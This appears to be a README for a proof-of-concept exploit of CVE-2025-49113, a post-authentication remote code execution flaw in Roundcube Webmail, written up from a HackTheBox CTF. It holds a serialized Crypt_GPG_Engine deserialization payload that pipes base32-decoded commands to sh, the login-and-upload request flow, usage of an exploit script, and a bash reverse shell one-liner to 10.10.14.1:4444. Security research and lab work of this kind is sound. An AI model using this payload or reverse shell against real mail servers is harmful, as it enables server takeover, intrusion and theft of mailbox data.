| Field | Details |
|---|---|
| CVE | CVE-2025-49113 |
| Software | Roundcube Webmail |
| Affected Versions | ≤ 1.6.10 |
| Vulnerability | PHP object deserialization → RCE |
| Authentication | Required (any valid user) |
| Impact | Remote Code Execution on the server |
| Context | Discovered during HackTheBox CTF |
Roundcube Webmail versions up to and including 1.6.10 are vulnerable to post-authentication Remote Code Execution. The file upload handler deserializes a PHP object embedded in the filename of an uploaded attachment. By crafting a malicious filename containing a serialized Crypt_GPG_Engine object, an authenticated attacker can trigger arbitrary command execution on the underlying server when the filename is processed.
PHP Object Deserialization (CWE-502). Roundcube's file upload endpoint passes the client-supplied filename through a deserialization path without validation. The Crypt_GPG_Engine class is available in Roundcube's dependency chain and acts as a usable gadget chain.
The Crypt_GPG_Engine class contains a _gpgconf property that is passed to a system-level call during object destruction/initialization. By serializing an instance with a crafted _gpgconf value, the attacker forces command execution.
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
The command is Base32-encoded to avoid special character issues in the filename field.
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
The command is Base32-encoded to avoid characters that would break the multipart filename field (quotes, slashes, etc.). The final command executed on the server is:
echo "<B32_CMD>" | base32 -d | shpython3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| Flag | Description |
|---|---|
-u |
Roundcube username |
-p |
Roundcube password |
-i |
Target URL (e.g., http://mail.target.htb) |
-x |
Command to execute on the server |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"No external libraries required — uses Python standard library only (http.client, urllib, base64, etc.).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.